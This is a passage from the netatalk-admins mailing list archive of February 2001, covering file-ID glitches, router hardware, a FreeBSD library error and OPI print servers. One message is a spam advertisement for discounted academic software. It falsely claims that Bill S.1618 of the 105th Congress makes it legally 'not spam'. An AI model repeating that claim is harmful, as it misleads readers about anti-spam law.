	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA20485
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 13:27:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA20445
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 13:27:13 -0500 (EST)
Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA20241
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 13:27:08 -0500 (EST)
Received: from fwd00.sul.t-online.com 
	by mailout04.sul.t-online.com with smtp 
	id 14QvmY-00061z-04; Thu, 08 Feb 2001 19:27:02 +0100
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.179]) by fmrl00.sul.t-online.com
	with esmtp id 14QvmJ-2IkJ5EC; Thu, 8 Feb 2001 19:26:47 +0100
Mime-Version: 1.0
Message-Id: <a05010406b6a8939bee48@[192.168.0.33]>
In-Reply-To: <NDBBJNMBOLGAIICJIEIGIENDDNAA.lawrence@epcdirect.co.uk>
References: <NDBBJNMBOLGAIICJIEIGIENDDNAA.lawrence@epcdirect.co.uk>
Date: Thu, 8 Feb 2001 19:28:03 +0100
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: RE: Netatalk for a publishing house
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA12135

>Can you be more specific as to the problems caused?
Yes.
Aliases are normaly working.

>  > since I'm using the -pre 39 I've no problems using Quark, PageMaker,
>>  Freehand, Photoshop ... We've handled files with some 100 MBs without
>>  problems. The only thing is, that changing a file or foldername in
>>  the finder can occur some ID-Problems - changing them with "save as"
>  > works fine.

With older versions of netatalk I got damaged files (Quark, 
Freehand), now all is fine
The ID problem was discussed in this list: It means: you change a 
file or folder name - but other usesrs don't see your change - they 
see the file with its old name - unless they restart their mac. 
Therefore the danger is great, that someone trashes a file that you 
need (or a folder!!!) - Take a look in the archive.
-- 
Mit freundlichen Grüßen
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Die stumpfsinnigsten Leute, die ich kenne, sind die, die schon alles 
wissen. (Henry Ford) 

From netatalk.administrators-errors@umich.edu  Thu Feb  8 13:41:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA12906
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 13:41:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10070
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 13:41:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10043
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 13:41:46 -0500 (EST)
Received: from smtp06.mail.onemain.com (SMTP-OUT003.ONEMAIN.COM [63.208.208.73])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA09590
	for <netatalk.administrators@umich.edu>; Thu, 8 Feb 2001 13:41:40 -0500 (EST)
From: CJVg6U24h@netscape.net
Received: (qmail 26649 invoked from network); 8 Feb 2001 18:12:32 -0000
Received: from 209-239-223-21.pdx.jps.net (HELO 90O64EXz5?) ([209.239.223.21]) (envelope-sender <CJVg6U24h@netscape.net>)
          by smtp06.mail.onemain.com (qmail-ldap-1.03) with SMTP
          for <allen.k.ng.1@umich.edu>; 8 Feb 2001 18:12:32 -0000
DATE: 08 Feb 01 10:12:38 AM
Reply-to: expressemail151@netscape.net
Message-ID: <eo7L6fet3wYg8i>
Received: From smtp.ruskymailuk.com by mail@ruskymailuk.com, member@ruskymailuk.com;Thu, 8 Feb 2001 10:12:38 -400 (EDT)
SUBJECT: Adobe, Microsoft, & Macromedia at 90% OFF Retail for Education


Dear Students, Teachers and Staff of K-12 and Higher Education:

COMPUTER PRODUCTS FOR EDUCATION is pleased to offer to you the best prices
on ACADEMIC EDITION SOFTWARE from MICROSOFT, ADOBE, MACROMEDIA and others -
AT UP TO 90% OFF RETAIL PRICES.  If you are a Qualified Education Buyer
(defined below) you can purchase products from CPE at huge discounts during
our Winter 2001 Blow Out Sale!

Qualified Education Buyer include STUDENTS, TEACHERS, STAFF MEMBERS, and
SCHOOLS for K-12 and Higher Education.

Visit www.goCPE.com or call us 800-679-7007 to order any of the products
below.

----------------------
ADOBE:
----------------------
Photoshop 6.0 279.95
LiveMotion 1.0/GoLive 5.0 94.95
Illustrator 9.0 89.95
PageMaker 6.5 Plus 269.95
Premiere 6.0 319.95
Web Collection 3.0 (Photoshop/GoLive/LiveMotion/Illustr) 369.95
Design Collection 3.0 (InDesign/Photoshop/Illustr/Acrobat) 489.95
Dynamic Media Collection 4.0 (AfterEffects/Premiere/Photoshp/Illustr) 539.95
Publishing Collection 9.0 (Acrobat/Illustr/PageMaker/Photoshop) 489.95

----------------------
MACROMEDIA:
----------------------
Web Design Studio 239.95
Dreamweaver 4 99.95
Fireworks 4 99.95
Dreamweaver/Fireworks Studio 149.95
Flash 5.0 99.95
FreeHand 9.0 99.95
Flash/Freehand Studio 149.95

----------------------
MICROSOFT     (K-12 students are NOT eligible to purchase Microsoft
products)
----------------------
Office 2000 Standard 149.95
Office 2000 Professional 189.95
Office 2000 Premium Pack 309.95
Office 2001 Macintosh 219.95
Visual Basic 6.0 94.95
Visual Studio 6.0 Pro 239.95
Windows 2000 Professional 124.95

For school purchases of five(5) or more units, please call 800-679-7007 for
even deeper discounts on license packs.

For hundreds of other software products available from CPE at similar
discounts, visit our website at www.goCPE.com or call us at 800-679-7007.

Academic Edition software is exactly the same as the Full-Retail version
except that it has been deeply discounted for Qualified Education Buyers.
You must be an active faculty member, staff member, or student to purchase
software from CPE.  All purchasers must provide fax-verification of status
as faculty, staff, or student.  After placing your order, you simply fax to
CPE either: (a) a copy of a current picture School I.D. Card or, (b) a
current paycheck stub with an alternative picture I.D. (drivers license,
etc.).  School purchases require a valid school purchase order.  For more
details, visit our web site at www.goCPE.com.

All software sold by CPE is authentic original software from the
manufacturer.  THESE ARE NOT PIRATED COPIES.  ALL SOFTWARE COMES IN ORIGINAL
MANUFACTURERS BOXES AND INCLUDES A VALID LICENSE.

* CPE is an Authorized Education Reseller for Microsoft, Adobe, Corel,
Symantec, Macromedia and many other major software manufacturers. CPE is the
only national software distributor committed to providing the lowest prices
EXCLUSIVELY to the Education community with the best customer service.


___________________
Under Bill s.1618 TITLE III passed by the 105th U.S. Congress this letter is
not considered "spam" as long as you are provided: 1) true and accurate
information, 2) contact information and, 3) the way to be removed from
future mailings (see below).

To Remove Yourself From This List: reply to this email with the email
address that you would like removed and the word REMOVE in the subject
heading.


From netatalk.administrators-errors@umich.edu  Thu Feb  8 13:45:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA13203
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 13:45:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14675
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 13:45:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14583
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 13:45:04 -0500 (EST)
Received: from www38.gmx.net (www38.gmx.net [213.165.64.88])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA14455
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 13:44:59 -0500 (EST)
From: grobe@gmx.net
Received: (qmail 16721 invoked by uid 0); 8 Feb 2001 18:44:55 -0000
Date: Thu, 8 Feb 2001 19:44:55 +0100 (MET)
To: Matthew Keller <kellermg@potsdam.edu>
Cc: netatalk-admins@umich.edu
Cc: netatalk-admins@umich.edu
Subject: Re: 1-gigabit-router for netatalk?
References: <3A7EC4C1.609EF1E1@potsdam.edu>
Message-ID: <16677.981657895@www38.gmx.net>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0000290134@gmx.net
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Authenticated-IP: [130.83.244.129]
X-Flags: 0001
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hi Matthew!

> 	I *HIGHLY* recommend keeping file-serving operations off of your
> firewall.

Of course, it is seperate machine. The question is (as I know that netatalk
is VERY sensible
on network stability) which configuration will provide enough power to do
firewalling and
routing with two Gigabit and one FastEthernet nics in a network of linux-,
windows- and
mac-clients (including appletalk to have the servers visible in the
chooser). I don't want
to see the message "The server closed the connection" too often. ;-)

I was told that a PentiumPro has a too slow bus. So what would you
recommend? We
are getting our new switches and servers soon, and I must decide which
machine to configure
for doing the routing. So, PentiumPro, old Suns, PentiumII or III...?

Thank you for ANY hints and help... 

CU Lars.

-- 
Sent through GMX FreeMail - http://www.gmx.net

From netatalk.administrators-errors@umich.edu  Thu Feb  8 16:34:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA19941
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 16:34:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA26501
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 16:34:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA26482
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 16:34:00 -0500 (EST)
Received: from femail9.sdc1.sfba.home.com (femail9.sdc1.sfba.home.com [24.0.95.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA26440
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 16:33:59 -0500 (EST)
Received: from [192.168.0.27] ([24.7.223.67]) by femail9.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010208213358.NBSW20293.femail9.sdc1.sfba.home.com@[192.168.0.27]>
          for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 13:33:58 -0800
Mime-Version: 1.0
X-Sender: ralph99@mail.voicenet.com
Message-Id: <v04210104b6a8bad75fa6@[192.168.0.27]>
Date: Thu, 8 Feb 2001 16:34:02 -0500
To: netatalk-admins@umich.edu
From: Ralph Dratman <ralph@maxsoft.com>
Subject: Error messge: libc.so.4 not found
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hello.

I am running FreeBSD 3.3  and trying to upgrade my installation of 
netatalk using the package at 
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/All/net 
atalk-1.4b2_1.tgz
The package seems to install okay, but when it runs at startup it 
displays the following messages:

/usr/libexec/ld-elf.so.1: Shared object "libc.so.4" not found
/usr/libexec/ld-elf.so.1: Shared object "libcrypto.so.1" not found

Does this mean I need a more recent version of FreeBSD? Or do I need 
to install something else first?

Thanks.

Ralph Dratman

From netatalk.administrators-errors@umich.edu  Thu Feb  8 23:54:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA00288
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Feb 2001 23:54:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA02663
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Feb 2001 23:54:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA02650
	for netatalk.administrators-members@umich.edu; Thu, 8 Feb 2001 23:54:47 -0500 (EST)
Received: from mta4.snfc21.pbi.net (mta4.snfc21.pbi.net [206.13.28.142])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA02627
	for <netatalk-admins@umich.edu>; Thu, 8 Feb 2001 23:54:46 -0500 (EST)
Received: from 192.168.1.201 ([63.194.20.108])
 by mta4.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with SMTP id <0G8H00JZI4B502@mta4.snfc21.pbi.net> for
 netatalk-admins@umich.edu; Thu,  8 Feb 2001 20:54:43 -0800 (PST)
Date: Thu, 08 Feb 2001 20:47:39 -0800
From: Alex Alegado <alex@alegado.com>
Subject: Re: OPI Server ready
In-reply-to: <B6A50CA4.10996%bucky@interaccess.com>
To: netatalk-admins@umich.edu
Message-id: <0G8H00JZJ4B602@mta4.snfc21.pbi.net>
MIME-version: 1.0
X-Mailer: Mailsmith 1.1.4 (Bluto)
Content-type: text/plain; Charset=US-ASCII
X-Priority: 3

OPI is **THE** Holy Grail the print industry is looking for. The trade mags
mention Linux as a curiosity and of the few sites that use Linux, the stumbling
block to full deployment is the lack of a good OPI solution. Unless the site was
using it solely for file- and non-OPI print services, there's always the OPI
caveat mentioned in the articles. SIGH.

The leading solutions are either NT-based (ScenicSoft's "Color Central" or
IPTech's "CanOPI") or commercial Unix-based (Xinet's "FullPress" or Helios'
"EtherShare").

In principle, all it needs to be is a filter for a printer queue. The filter
would grep the PostScript stream and every time it sees an OPI "Comment" it
grabs the filename listed in the comment and substitutes the file for the
comment. Naturally, all kinds of intelligence needs to be built in to the filter
for validating the OPI comment and dealing with the potential for super-hairy
filenames which are, unfortunately, common on Macintosh volumes.

CanOPI from the list above does the file substitution on the fly while most of
the others (I'm not sure about FullPress) write a new (larger) file as the input
job is processed. CanOPI's method is slick since it minimizes diskspace
requirements on the OPI server and the read/write penalty.



On 2/6/01 at 2:06 AM, Bruce A. Burdick, Jr. <bucky@interaccess.com> wrote some
or all of the following...

> If I recall correctly, in the publishing industry an OPI server is one that
> swaps high resolution images for low resolution images (often called "FPO"s
> for "For Placement Only"). I guess the connection to netatalk is that Macs
> have been big in publishing and a cheap Linux box with netatalk and a good
> open source OPI server would make for an interesting bargain. I don't
> remember what OPI stands for (Open Press Interface?).
> 
> -B...
> 
> > From: Volker Birk <vb@kanguruh.ebios.de>
> > Date: Tue, 6 Feb 2001 08:14:21 +0100
> > To: "Frank Morton" <fmorton@base2inc.com>
> > Cc: "Volker Birk" <vb@kanguruh.ebios.de>, <netatalk-admins@umich.edu>
> > Subject: Re: OPI Server ready
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Tue, 6 Feb 2001 02:19:07 -0500 (EST)
> > 
> > On Mon, Feb 05, 2001 at 01:43:32PM -0500, Frank Morton wrote:
> >> Good! Does it include utilities to make fpo images?
> > 
> > What are fpo images?
> > 
> > VB.
> > -- 
> > *** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
> > *** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more beer
> > *** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was good!
> > *** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _
> > 
--
==========================================================================
 Alex Alegado, alex@alegado.com, 626.524.0624 Cel w/VMail 
   Prepress Supervisor, California Plasticard 
     213.742.9852 Voice, 213.742.0086 FAX, http://www.cpicardgroup.com
--------------------------------------------------------------------------
 the.ThoughtShop.net -- Low-cost web-hosting and design...
   Apache-based Miva, CGI, PHP, MySQL support
     info@thoughtshop.net, http://the.ThoughtShop.net
==========================================================================



From netatalk.administrators-errors@umich.edu  Fri Feb  9 03:55:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA04263
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 03:55:02 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA02345
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 03:54:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA02340
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 03:54:55 -0500 (EST)
Received: from igw1.edipresse.ch (igw1.edipresse.ch [194.209.141.131])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA02320
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 03:54:54 -0500 (EST)
Received: (from root@localhost)
	by igw1.edipresse.ch (8.9.3/8.9.3) id JAA12606;
	Fri, 9 Feb 2001 09:55:04 +0100 (MET)
Received: from unknown(172.16.11.46) by igw1.edipresse.ch via smap (V2.1+anti-relay+anti-spam)
	id xma012601; Fri, 9 Feb 01 09:54:57 +0100
Received: by meloe.edipresse.ch with Internet Mail Service (5.5.2653.19)
	id <DDR15T74>; Fri, 9 Feb 2001 09:54:12 +0100
Message-ID: <9F9FCF268C46D411B60600508B6F8726A2764A@meloe.edipresse.ch>
From: Michalowski Thierry <Thierry.Michalowski@edipresse.ch>
To: "'Alex Alegado'" <alex@alegado.com>, netatalk-admins@umich.edu
Subject: RE: OPI Server ready
Date: Fri, 9 Feb 2001 09:54:11 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C09275.DF2B7510"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C09275.DF2B7510
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

OPI needs to be far more intelligent that you mention. Just replacing an OPI
comment with a file is no OPI: it has to process other comments, especially
when the high-resolution file is a TIFF file. Just have a look at the
original Adobe OPI 1.3 specs for it.

As a side note, OPI **was** the holy grail for the printing industry, but
since most products fail miserably to be up-to-date with the latest tricks
in image processing, most of the publishing houses I know are trying to
bypass the OPI. Reliability vs performances tradeoff...

Next thing is: you need another tool to build FPO files, for placing them
into your pagination program (such as Quark XPRess). It is true that you
could, in principle, place the high-resolution files, and then print with
OPI enabled. But in such a case you will lose half of the OPI benefits.

There comes again the question for this opi3 product: does it include any
tool for automatic creation of theses FPO files? I've never seen the answer,
and don't want to dig into a bug source tarfile to figure out that kind of
things...thanks to the author for answering, please!

Last thing is also that you fail to mention two things concerning the Helios
solution (but hey, that's not a big deal!).
It runs on Linux (RedHat),and even ships with a ready-to-install Linux
RedHat system on the CD. Helios seems to have been pushing the Linux version
for a year now.
Helios OPI does on-the-fly job processing, provided that the queues are
AppleTalk(PAP)-based only. It is still true that it will locally spool
everything if you are using another printing method (such as pure LPR).
(There is also a proprietary TCP/IP printing method, but I don't know many
RIPs that can do it, Fuji seem to do.)

Sorry if all of this sounds too pedantic, it really shouldn't! But I felt
like I should share my knowledge with others ;-)

HTH
Thierry Michalowski



-----Original Message-----
From: Alex Alegado [mailto:alex@alegado.com]
Sent: Friday, February 09, 2001 5:48 AM
To: netatalk-admins@umich.edu
Subject: Re: OPI Server ready


OPI is **THE** Holy Grail the print industry is looking for. The trade mags
mention Linux as a curiosity and of the few sites that use Linux, the
stumbling
block to full deployment is the lack of a good OPI solution. Unless the site
was
using it solely for file- and non-OPI print services, there's always the OPI
caveat mentioned in the articles. SIGH.

The leading solutions are either NT-based (ScenicSoft's "Color Central" or
IPTech's "CanOPI") or commercial Unix-based (Xinet's "FullPress" or Helios'
"EtherShare").

In principle, all it needs to be is a filter for a printer queue. The filter
would grep the PostScript stream and every time it sees an OPI "Comment" it
grabs the filename listed in the comment and substitutes the file for the
comment. Naturally, all kinds of intelligence needs to be built in to the
filter
for validating the OPI comment and dealing with the potential for
super-hairy
filenames which are, unfortunately, common on Macintosh volumes.

CanOPI from the list above does the file substitution on the fly while most
of
the others (I'm not sure about FullPress) write a new (larger) file as the
input
job is processed. CanOPI's method is slick since it minimizes diskspace
requirements on the OPI server and the read/write penalty.



On 2/6/01 at 2:06 AM, Bruce A. Burdick, Jr. <bucky@interaccess.com> wrote
some
or all of the following...

> If I recall correctly, in the publishing industry an OPI server is one
that
> swaps high resolution images for low resolution images (often called
"FPO"s
> for "For Placement Only"). I guess the connection to netatalk is that Macs
> have been big in publishing and a cheap Linux box with netatalk and a good
> open source OPI server would make for an interesting bargain. I don't
> remember what OPI stands for (Open Press Interface?).
> 
> -B...
> 
> > From: Volker Birk <vb@kanguruh.ebios.de>
> > Date: Tue, 6 Feb 2001 08:14:21 +0100
> > To: "Frank Morton" <fmorton@base2inc.com>
> > Cc: "Volker Birk" <vb@kanguruh.ebios.de>, <netatalk-admins@umich.edu>
> > Subject: Re: OPI Server ready
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Tue, 6 Feb 2001 02:19:07 -0500 (EST)
> > 
> > On Mon, Feb 05, 2001 at 01:43:32PM -0500, Frank Morton wrote:
> >> Good! Does it include utilities to make fpo images?
> > 
> > What are fpo images?
> > 
> > VB.
> > -- 
> > *** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
> > *** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more
beer
> > *** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was
good!
> > *** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _
> > 
--
==========================================================================
 Alex Alegado, alex@alegado.com, 626.524.0624 Cel w/VMail 
   Prepress Supervisor, California Plasticard 
     213.742.9852 Voice, 213.742.0086 FAX, http://www.cpicardgroup.com
--------------------------------------------------------------------------
 the.ThoughtShop.net -- Low-cost web-hosting and design...
   Apache-based Miva, CGI, PHP, MySQL support
     info@thoughtshop.net, http://the.ThoughtShop.net
==========================================================================


------_=_NextPart_001_01C09275.DF2B7510
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: OPI Server ready</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi,</FONT>
</P>

<P><FONT SIZE=3D2>OPI needs to be far more intelligent that you =
mention. Just replacing an OPI comment with a file is no OPI: it has to =
process other comments, especially when the high-resolution file is a =
TIFF file. Just have a look at the original Adobe OPI 1.3 specs for =
it.</FONT></P>

<P><FONT SIZE=3D2>As a side note, OPI **was** the holy grail for the =
printing industry, but since most products fail miserably to be =
up-to-date with the latest tricks in image processing, most of the =
publishing houses I know are trying to bypass the OPI. Reliability vs =
performances tradeoff...</FONT></P>

<P><FONT SIZE=3D2>Next thing is: you need another tool to build FPO =
files, for placing them into your pagination program (such as Quark =
XPRess). It is true that you could, in principle, place the =
high-resolution files, and then print with OPI enabled. But in such a =
case you will lose half of the OPI benefits.</FONT></P>

<P><FONT SIZE=3D2>There comes again the question for this opi3 product: =
does it include any tool for automatic creation of theses FPO files? =
I've never seen the answer, and don't want to dig into a bug source =
tarfile to figure out that kind of things...thanks to the author for =
answering, please!</FONT></P>

<P><FONT SIZE=3D2>Last thing is also that you fail to mention two =
things concerning the Helios solution (but hey, that's not a big =
deal!).</FONT></P>

<P><FONT SIZE=3D2>It runs on Linux (RedHat),and even ships with a =
ready-to-install Linux RedHat system on the CD. Helios seems to have =
been pushing the Linux version for a year now.</FONT></P>

<P><FONT SIZE=3D2>Helios OPI does on-the-fly job processing, provided =
that the queues are AppleTalk(PAP)-based only. It is still true that it =
will locally spool everything if you are using another printing method =
(such as pure LPR). (There is also a proprietary TCP/IP printing =
method, but I don't know many RIPs that can do it, Fuji seem to =
do.)</FONT></P>

<P><FONT SIZE=3D2>Sorry if all of this sounds too pedantic, it really =
shouldn't! But I felt like I should share my knowledge with others =
;-)</FONT></P>

<P><FONT SIZE=3D2>HTH</FONT>
<BR><FONT SIZE=3D2>Thierry Michalowski</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Alex Alegado [<A =
HREF=3D"mailto:alex@alegado.com">mailto:alex@alegado.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Friday, February 09, 2001 5:48 AM</FONT>
<BR><FONT SIZE=3D2>To: netatalk-admins@umich.edu</FONT>
<BR><FONT SIZE=3D2>Subject: Re: OPI Server ready</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>OPI is **THE** Holy Grail the print industry is =
looking for. The trade mags</FONT>
<BR><FONT SIZE=3D2>mention Linux as a curiosity and of the few sites =
that use Linux, the stumbling</FONT>
<BR><FONT SIZE=3D2>block to full deployment is the lack of a good OPI =
solution. Unless the site was</FONT>
<BR><FONT SIZE=3D2>using it solely for file- and non-OPI print =
services, there's always the OPI</FONT>
<BR><FONT SIZE=3D2>caveat mentioned in the articles. SIGH.</FONT>
</P>

<P><FONT SIZE=3D2>The leading solutions are either NT-based =
(ScenicSoft's &quot;Color Central&quot; or</FONT>
<BR><FONT SIZE=3D2>IPTech's &quot;CanOPI&quot;) or commercial =
Unix-based (Xinet's &quot;FullPress&quot; or Helios'</FONT>
<BR><FONT SIZE=3D2>&quot;EtherShare&quot;).</FONT>
</P>

<P><FONT SIZE=3D2>In principle, all it needs to be is a filter for a =
printer queue. The filter</FONT>
<BR><FONT SIZE=3D2>would grep the PostScript stream and every time it =
sees an OPI &quot;Comment&quot; it</FONT>
<BR><FONT SIZE=3D2>grabs the filename listed in the comment and =
substitutes the file for the</FONT>
<BR><FONT SIZE=3D2>comment. Naturally, all kinds of intelligence needs =
to be built in to the filter</FONT>
<BR><FONT SIZE=3D2>for validating the OPI comment and dealing with the =
potential for super-hairy</FONT>
<BR><FONT SIZE=3D2>filenames which are, unfortunately, common on =
Macintosh volumes.</FONT>
</P>

<P><FONT SIZE=3D2>CanOPI from the list above does the file substitution =
on the fly while most of</FONT>
<BR><FONT SIZE=3D2>the others (I'm not sure about FullPress) write a =
new (larger) file as the input</FONT>
<BR><FONT SIZE=3D2>job is processed. CanOPI's method is slick since it =
minimizes diskspace</FONT>
<BR><FONT SIZE=3D2>requirements on the OPI server and the read/write =
penalty.</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>On 2/6/01 at 2:06 AM, Bruce A. Burdick, Jr. =
&lt;bucky@interaccess.com&gt; wrote some</FONT>
<BR><FONT SIZE=3D2>or all of the following...</FONT>
</P>

<P><FONT SIZE=3D2>&gt; If I recall correctly, in the publishing =
industry an OPI server is one that</FONT>
<BR><FONT SIZE=3D2>&gt; swaps high resolution images for low resolution =
images (often called &quot;FPO&quot;s</FONT>
<BR><FONT SIZE=3D2>&gt; for &quot;For Placement Only&quot;). I guess =
the connection to netatalk is that Macs</FONT>
<BR><FONT SIZE=3D2>&gt; have been big in publishing and a cheap Linux =
box with netatalk and a good</FONT>
<BR><FONT SIZE=3D2>&gt; open source OPI server would make for an =
interesting bargain. I don't</FONT>
<BR><FONT SIZE=3D2>&gt; remember what OPI stands for (Open Press =
Interface?).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; -B...</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; From: Volker Birk =
&lt;vb@kanguruh.ebios.de&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Date: Tue, 6 Feb 2001 08:14:21 =
+0100</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; To: &quot;Frank Morton&quot; =
&lt;fmorton@base2inc.com&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Cc: &quot;Volker Birk&quot; =
&lt;vb@kanguruh.ebios.de&gt;, &lt;netatalk-admins@umich.edu&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Subject: Re: OPI Server ready</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Resent-From: =
netatalk-admins@umich.edu</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Resent-Date: Tue, 6 Feb 2001 02:19:07 =
-0500 (EST)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
